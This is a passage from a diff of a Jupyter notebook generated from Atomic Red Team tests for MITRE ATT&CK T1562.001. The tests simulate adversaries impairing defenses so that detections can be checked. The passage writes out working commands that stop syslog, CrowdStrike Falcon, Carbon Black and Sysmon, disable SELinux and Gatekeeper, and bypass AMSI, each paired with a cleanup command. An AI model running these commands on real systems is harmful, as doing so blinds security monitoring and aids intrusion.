deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the \u201cStart\u201d and \u201cEnable\u201d values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)" }, { "cell_type": "markdown", - "id": "4660f664", + "id": "633e1d8e", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1f806a20", + "id": "454ff104", "metadata": {}, "source": "### Atomic Test #1 - Disable syslog\nDisables syslog collection\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Package with rsyslog must be on system\n\n##### Check Prereq Commands:\n```sh\nif (rpm -q rsyslog 2>&1 >/dev/null) || (dpkg -s rsyslog | grep -q installed) > /dev/null; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nsudo (which yum && yum -y install epel-release rsyslog)||(which apt-get && apt-get install -y rsyslog) \n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "21ce1456", + "id": "42f022ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "ca86a774", + "id": "7be3dcfc", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -38,86 +38,131 @@ { "cell_type": "code", "execution_count": null, - "id": "7373b9e4", + "id": "65d121c1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "8603f6f8", + "id": "448c4dfe", "metadata": {}, "source": "#### Cleanup: \n```sh\nsystemctl start rsyslog ; systemctl enable rsyslog\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f302ad22", + "id": "17f48a11", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "290796a6", + "id": "6ff4700d", "metadata": {}, "source": [ - "### Atomic Test #2 - Disable Cb Response", - "Disable the Cb Response service\n", + "### Atomic Test #2 - Disable syslog (freebsd)", + "Disables syslog collection\n", "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nif [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"6\" ];\nthen\n service cbdaemon stop\n chkconfig off cbdaemon\nelse if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"7\" ];\n systemctl stop cbdaemon\n systemctl disable cbdaemon\nfi\n```" + "```sh\nservice syslogd stop\nsysrc syslogd_enable=\"NO\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "5e881350", + "id": "c7b8a09c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "d7cab7b4", + "id": "92c29664", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsysrc syslogd_enable=\"YES\"\nservice syslogd start\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fc0d4f36", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "301d1126", "metadata": {}, "source": [ - "### Atomic Test #3 - Disable SELinux", - "Disables SELinux enforcement\n", + "### Atomic Test #3 - Disable Cb Response", + "Disable the Cb Response service\n", "**Supported Platforms:** linux", - "\nElevation Required (e.g. root or admin)", "#### Attack Commands: Run with `sh`\n", - "```sh\nsetenforce 0\n```" + "```sh\nif [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"6\" ];\nthen\n service cbdaemon stop\n chkconfig off cbdaemon\nelse if [ $(rpm -q --queryformat '%{VERSION}' centos-release) -eq \"7\" ];\n systemctl stop cbdaemon\n systemctl disable cbdaemon\nfi\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "6bbcedd0", + "id": "e3980c7a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "419525b2", + "id": "9ca872a0", + "metadata": {}, + "source": "### Atomic Test #4 - Disable SELinux\nDisables SELinux enforcement\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: SELinux must be installed\n\n##### Check Prereq Commands:\n```sh\nwhich setenforce\n\n```\n##### Get Prereq Commands:\n```sh\necho \"SELinux is not installed\"; exit 1\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "164063c8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 4 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "85878b9f", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nsetenforce 0\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c0c2d2c1", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "5746f48b", "metadata": {}, "source": "#### Cleanup: \n```sh\nsetenforce 1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7bcdf1e4", + "id": "25ea6b26", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 3 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "7d348207", + "id": "06e630ea", "metadata": {}, "source": [ - "### Atomic Test #4 - Stop Crowdstrike Falcon on Linux", + "### Atomic Test #5 - Stop Crowdstrike Falcon on Linux", "Stop and disable Crowdstrike Falcon on Linux\n", "**Supported Platforms:** linux", "\nElevation Required (e.g. root or admin)", @@ -128,31 +173,31 @@ { "cell_type": "code", "execution_count": null, - "id": "9d87fd71", + "id": "6bb4499d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 4" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "8f730109", + "id": "41607bdf", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo systemctl enable falcon-sensor.service\nsudo systemctl start falcon-sensor.service\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7bb0c958", + "id": "78722704", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 4 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "0eacbbb8", + "id": "c3c81df2", "metadata": {}, "source": [ - "### Atomic Test #5 - Disable Carbon Black Response", + "### Atomic Test #6 - Disable Carbon Black Response", "Disables Carbon Black Response\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -163,31 +208,31 @@ { "cell_type": "code", "execution_count": null, - "id": "d1d1f398", + "id": "dd473891", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 5" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "81225af1", + "id": "c1d5f384", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.daemon.plist\nsudo launchctl load -w /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "52cfc341", + "id": "528e766d", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 5 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "3481aa53", + "id": "8ec5f050", "metadata": {}, "source": [ - "### Atomic Test #6 - Disable LittleSnitch", + "### Atomic Test #7 - Disable LittleSnitch", "Disables LittleSnitch\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -198,31 +243,31 @@ { "cell_type": "code", "execution_count": null, - "id": "4cfb1c6d", + "id": "3868bc8f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 6" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "675153ad", + "id": "9054bdd8", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo launchctl load -w /Library/LaunchDaemons/at.obdev.littlesnitchd.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eb6b3f0e", + "id": "8ef2d416", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 6 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "fc39512e", + "id": "7dbed187", "metadata": {}, "source": [ - "### Atomic Test #7 - Disable OpenDNS Umbrella", + "### Atomic Test #8 - Disable OpenDNS Umbrella", "Disables OpenDNS Umbrella\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -233,31 +278,31 @@ { "cell_type": "code", "execution_count": null, - "id": "7aca7b3d", + "id": "2fe0e5a7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "1499f932", + "id": "4bb87d7e", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo launchctl load -w /Library/LaunchDaemons/com.opendns.osx.RoamingClientConfigUpdater.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "83a79be9", + "id": "199aa9e5", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 7 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 8 -Cleanup" }, { "cell_type": "markdown", - "id": "34312fcf", + "id": "9cb87bf4", "metadata": {}, "source": [ - "### Atomic Test #8 - Disable macOS Gatekeeper", + "### Atomic Test #9 - Disable macOS Gatekeeper", "Disables macOS Gatekeeper\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -268,31 +313,31 @@ { "cell_type": "code", "execution_count": null, - "id": "54039828", + "id": "dd37b22b", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 8" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 9" }, { "cell_type": "markdown", - "id": "2a37d7a2", + "id": "c49da3e1", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo spctl --master-enable\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7f000262", + "id": "49c9a4f1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 8 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 9 -Cleanup" }, { "cell_type": "markdown", - "id": "8d2c5c2b", + "id": "1286e139", "metadata": {}, "source": [ - "### Atomic Test #9 - Stop and unload Crowdstrike Falcon on macOS", + "### Atomic Test #10 - Stop and unload Crowdstrike Falcon on macOS", "Stop and unload Crowdstrike Falcon daemons falcond and userdaemon on macOS\n", "**Supported Platforms:** macos", "\nElevation Required (e.g. root or admin)", @@ -303,42 +348,42 @@ { "cell_type": "code", "execution_count": null, - "id": "104dfed9", + "id": "488ec454", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 9" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 10" }, { "cell_type": "markdown", - "id": "bad87f23", + "id": "59d892b5", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo launchctl load -w /Library/LaunchDaemons/com.crowdstrike.falcond.plist\nsudo launchctl load -w /Library/LaunchDaemons/com.crowdstrike.userdaemon.plist\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a1ca2313", + "id": "d5c62bc0", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 9 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 10 -Cleanup" }, { "cell_type": "markdown", - "id": "addf4c19", + "id": "d2f0f8b4", "metadata": {}, - "source": "### Atomic Test #10 - Unload Sysmon Filter Driver\nUnloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sysmon must be downloaded\n\n##### Check Prereq Commands:\n```cmd\nif ((cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") -or (Test-Path $env:Temp\\Sysmon\\Sysmon.exe)) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$env:TEMP\\Sysmon.zip\"\nExpand-Archive $env:TEMP\\Sysmon.zip $env:TEMP\\Sysmon -Force\nRemove-Item $env:TEMP\\Sysmon.zip -Force\n\n```\n##### Description: sysmon must be Installed\n\n##### Check Prereq Commands:\n```cmd\nif(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nif(cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") { C:\\Windows\\Sysmon.exe -accepteula -i } else\n{ Set-Location $env:TEMP\\Sysmon\\; .\\Sysmon.exe -accepteula -i}\n\n```\n##### Description: sysmon filter must be loaded\n\n##### Check Prereq Commands:\n```cmd\nif(fltmc.exe filters | findstr SysmonDrv) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nsysmon -u\nsysmon -accepteula -i\n\n```" + "source": "### Atomic Test #11 - Unload Sysmon Filter Driver\nUnloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution, o verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sysmon must be downloaded\n\n##### Check Prereq Commands:\n```cmd\nif (-not (cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") -or (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\")) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon.zip\"\nExpand-Archive \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon.zip\" \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\" -Force\n\n```\n##### Description: sysmon must be Installed\n\n##### Check Prereq Commands:\n```cmd\nif(sc.exe query sysmon | findstr sysmon) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nif(cmd.exe /c \"where.exe Sysmon.exe 2> nul | findstr Sysmon 2> nul\") { C:\\Windows\\Sysmon.exe -accepteula -i } else\n{ & \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\" -accepteula -i}\n\n```\n##### Description: sysmon filter must be loaded\n\n##### Check Prereq Commands:\n```cmd\nif(fltmc.exe filters | findstr SysmonDrv) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```cmd\nif(Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\"){\n & \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\" -u\n & \"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\" -accepteula -i\n}else{\n sysmon -u\n sysmon -accepteula -i\n}\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fa0aa86e", + "id": "b2e408dd", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 10 -GetPreReqs" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11 -GetPreReqs" }, { "cell_type": "markdown", - "id": "fcdea95d", + "id": "9133c468", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -348,42 +393,42 @@ { "cell_type": "code", "execution_count": null, - "id": "0a0bfec8", + "id": "c6a09097", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 10" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11" }, { "cell_type": "markdown", - "id": "8366ece6", + "id": "efc32b4f", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nsysmon -u -i > nul 2>&1\nsysmon -i -accepteula -i > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -u > nul 2>&1\n%temp%\\Sysmon\\sysmon.exe -accepteula -i > nul 2>&1\n```" + "source": "#### Cleanup: \n```cmd\nsysmon -u -i > nul 2>&1\nsysmon -i -accepteula -i > nul 2>&1\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\" -u > nul 2>&1\n\"PathToAtomicsFolder\\..\\ExternalPayloads\\Sysmon\\Sysmon.exe\" -accepteula -i > nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "cc732c41", + "id": "b92f0ae4", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 10 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11 -Cleanup" }, { "cell_type": "markdown", - "id": "76ad5138", + "id": "3f9bee77", "metadata": {}, - "source": "### Atomic Test #11 - Uninstall Sysmon\nUninstall Sysinternals Sysmon for Defense Evasion\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sysmon executable must be available\n\n##### Check Prereq Commands:\n```cmd\nif(cmd /c where sysmon) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n$parentpath = Split-Path \"PathToAtomicsFolder\\T1562.001\\bin\\sysmon.exe\"; $zippath = \"$parentpath\\Sysmon.zip\"\nNew-Item -ItemType Directory $parentpath -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$zippath\"\nExpand-Archive $zippath $parentpath -Force; Remove-Item $zippath\nif(-not ($Env:Path).contains($parentpath)){$Env:Path += \";$parentpath\"}\n\n```\n##### Description: Sysmon must be installed\n\n##### Check Prereq Commands:\n```cmd\nif(cmd /c sc query sysmon) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\ncmd /c sysmon -i -accepteula\n\n```" + "source": "### Atomic Test #12 - Uninstall Sysmon\nUninstall Sysinternals Sysmon for Defense Evasion\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Sysmon executable must be available\n\n##### Check Prereq Commands:\n```cmd\nif(cmd /c where sysmon) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n$parentpath = Split-Path \"PathToAtomicsFolder\\T1562.001\\bin\\sysmon.exe\"; $zippath = \"$parentpath\\Sysmon.zip\"\nNew-Item -ItemType Directory $parentpath -Force | Out-Null\nInvoke-WebRequest \"https://download.sysinternals.com/files/Sysmon.zip\" -OutFile \"$zippath\"\nExpand-Archive $zippath $parentpath -Force; Remove-Item $zippath\nif(-not ($Env:Path).contains($parentpath)){$Env:Path += \";$parentpath\"}\n\n```\n##### Description: Sysmon must be installed\n\n##### Check Prereq Commands:\n```cmd\nif(cmd /c sc query sysmon) { exit 0} else { exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\ncmd /c sysmon -i -accepteula\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e185fd67", + "id": "429220b9", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11 -GetPreReqs" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 12 -GetPreReqs" }, { "cell_type": "markdown", - "id": "2785bb09", + "id": "094e1784", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -393,31 +438,31 @@ { "cell_type": "code", "execution_count": null, - "id": "e595250b", + "id": "a533cdbc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 12" }, { "cell_type": "markdown", - "id": "325e85e1", + "id": "58833dd4", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsysmon -i -accepteula >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "48c49d10", + "id": "1a514e4f", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 11 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 12 -Cleanup" }, { "cell_type": "markdown", - "id": "2e36ed77", + "id": "fa1f0a96", "metadata": {}, "source": [ - "### Atomic Test #12 - AMSI Bypass - AMSI InitFailed", + "### Atomic Test #13 - AMSI Bypass - AMSI InitFailed", "Any easy way to bypass AMSI inspection is it patch the dll in memory setting the \"amsiInitFailed\" function to true.\nUpon execution, no output is displayed.\n\nhttps://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", @@ -427,31 +472,31 @@ { "cell_type": "code", "execution_count": null, - "id": "0a758501", + "id": "f83abad7", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 12" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 13" }, { "cell_type": "markdown", - "id": "24bcdf38", + "id": "ce994e50", "metadata": {}, "source": "#### Cleanup: \n```powershell\n[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$false)\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b3f031bf", + "id": "178b9f32", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 12 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 13 -Cleanup" }, { "cell_type": "markdown", - "id": "f6c95aec", + "id": "6ec4be60", "metadata": {}, "source": [ - "### Atomic Test #13 - AMSI Bypass - Remove AMSI Provider Reg Key", + "### Atomic Test #14 - AMSI Bypass - Remove AMSI Provider Reg Key", "With administrative rights, an adversary can remove the AMSI Provider registry key in HKLM\\Software\\Microsoft\\AMSI to disable AMSI inspection.\nThis test removes the Windows Defender provider registry key. Upon execution, no output is displayed.\nOpen Registry Editor and navigate to \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\\" to verify that it is gone.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -462,31 +507,31 @@ { "cell_type": "code", "execution_count": null, - "id": "6ebded3f", + "id": "b5d57499", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 13" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 14" }, { "cell_type": "markdown", - "id": "167fe69a", + "id": "3bd84f43", "metadata": {}, "source": "#### Cleanup: \n```powershell\nNew-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\" -Name \"{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "74d143eb", + "id": "66e104e1", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 13 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 14 -Cleanup" }, { "cell_type": "markdown", - "id": "8830bf8b", + "id": "9ecc4672", "metadata": {}, "source": [ - "### Atomic Test #14 - Disable Arbitrary Security Windows Service", + "### Atomic Test #15 - Disable Arbitrary Security Windows Service", "With administrative rights, an adversary can disable Windows Services related to security products. This test requires McAfeeDLPAgentService to be installed.\nChange the service_name input argument for your AV solution. Upon exeuction, infomration will be displayed stating the status of the service.\nTo verify that the service has stopped, run \"sc query McAfeeDLPAgentService\"\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -497,31 +542,31 @@ { "cell_type": "code", "execution_count": null, - "id": "487708b2", + "id": "ea7e48b3", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 14" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 15" }, { "cell_type": "markdown", - "id": "bfb3fd91", + "id": "1ce6a970", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc.exe config McAfeeDLPAgentService start= auto >nul 2>&1\nnet.exe start McAfeeDLPAgentService >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d0fc3272", + "id": "ee7fd4ae", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 14 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 15 -Cleanup" }, { "cell_type": "markdown", - "id": "fe57827d", + "id": "8b42a646", "metadata": {}, "source": [ - "### Atomic Test #15 - Tamper with Windows Defender ATP PowerShell", + "### Atomic Test #16 - Tamper with Windows Defender ATP PowerShell", "Attempting to disable scheduled scanning and other parts of windows defender atp. Upon execution Virus and Threat Protection will show as disabled\nin Windows settings.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -532,31 +577,31 @@ { "cell_type": "code", "execution_count": null, - "id": "f4bb200c", + "id": "9260bcdc", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 15" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 16" }, { "cell_type": "markdown", - "id": "c7f6eac0", + "id": "b15c69c5", "metadata": {}, "source": "#### Cleanup: \n```powershell\nSet-MpPreference -DisableRealtimeMonitoring 0\nSet-MpPreference -DisableBehaviorMonitoring 0\nSet-MpPreference -DisableScriptScanning 0\nSet-MpPreference -DisableBlockAtFirstSeen 0\n```" }, { "cell_type": "code", "execution_count": null, - "id": "57c6b3af", + "id": "36bae983", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 15 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 16 -Cleanup" }, { "cell_type": "markdown", - "id": "5f7742ef", + "id": "4b730e47", "metadata": {}, "source": [ - "### Atomic Test #16 - Tamper with Windows Defender Command Prompt", + "### Atomic Test #17 - Tamper with Windows Defender Command Prompt", "Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.\nHowever, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, \"Access Denied\"\nwill be displayed twice and the WinDefend service status will be displayed.\n", "**Supported Platforms:** windows", "\nElevation Required (e.g. root or admin)", @@ -567,31 +612,31 @@ { "cell_type": "code", "execution_count": null, - "id": "a6726763", + "id": "832bc606", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 16" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 17" }, { "cell_type": "markdown", - "id": "c1e22a2b", + "id": "8ca7e40a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nsc start WinDefend >nul 2>&1\nsc config WinDefend start=enabled >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5aff77c5", + "id": "b7e32977", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1562.001 -TestNumbers 16 -Cleanup" + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 17 -Cleanup" }, { "cell_type": "markdown", - "id": "2a335edf", + "id": "0896c900", "metadata": {}, "source": [ - "### Atomic Test #17 - Tamper with Windows Defender Registry", + "### Atomic Test #18 - Tamper with Windows Defender Registry", "Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be\ngrayed out and have no info.\n", "**Supported 